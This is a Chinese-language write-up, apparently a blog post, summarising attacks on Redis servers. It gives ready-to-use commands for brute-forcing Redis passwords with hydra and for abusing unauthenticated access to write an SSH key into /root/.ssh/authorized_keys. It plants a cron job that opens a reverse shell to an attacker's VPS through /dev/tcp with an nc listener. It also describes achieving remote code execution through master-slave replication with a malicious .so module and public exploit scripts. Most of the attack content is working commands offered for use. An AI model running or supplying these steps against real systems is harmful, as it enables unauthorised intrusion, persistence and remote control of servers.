redis漏洞总结


redis简介

1
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

redis暴力破解

redis服务器设置密码

1
2
3
编辑redis配置文件:redis.conf
取消注释 #requirepass:requirepass 123456
// 开启redis服务需要关闭防火墙:sudo iptables -F

picture

hydra暴力破解redis密码

1
hydra -P password.txt redis://172.100.30.45

没有输入密码登录

picture

hydra进行暴力破解

picture

redis未授权访问

写入ssh公钥

1
2
3
4
5
6
7
8
9
10
11
1、攻击机生成ssh公钥保存至key.txt,并写入redis的变量xxx
a)ssh-keygen -t rsa //生成公钥
b)(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt //将公钥保存到key.txt
c)cat /root/.ssh/key.txt | ./redis-cli -h 目标IP -x set xxx //将密钥写入redis变量xxx
2、设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
a)config set dir /root/.ssh //设置redis备份路径
b)config set dbfilename authorized_keys //设置redis保存文件名
c)save //保存路径、文件名、变量(xxx)至redis中
3、使用ssh连接
ssh 目标ip
ssh -i ~/.ssh/id_rsa 用户@目标ip

picture

写入计划任务,反弹shell

1
2
3
4
5
6
7
1、将变量xxx内容写入 /var/spool/cron/root文件中
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/VPS/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
2、vps监听
nc -lvp 4444

picture

1
2
3
4
5
写入计划任务踩过的坑:
1、centos可以写入,ubuntu系统不可以
原因:查看ls -al /bin/sh,sh软连接是dash而不是bash,修改软连接ln -s -f bash /bin/sh
2、补充大佬方法:
*/1 * * * * bash -c "bash -i >&/dev/tcp/x.x.x.x/1234 0>&1"

利用主从复制rce

redis主从模式简介

1
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

工具下载

1
2
1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone https://github.com/Ridter/redis-rce.git

脚本利用

1
2
1、首先要生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
2、python redis-rce.py -r 目标ip -p 目标端口 -L 本地ip -f 恶意.so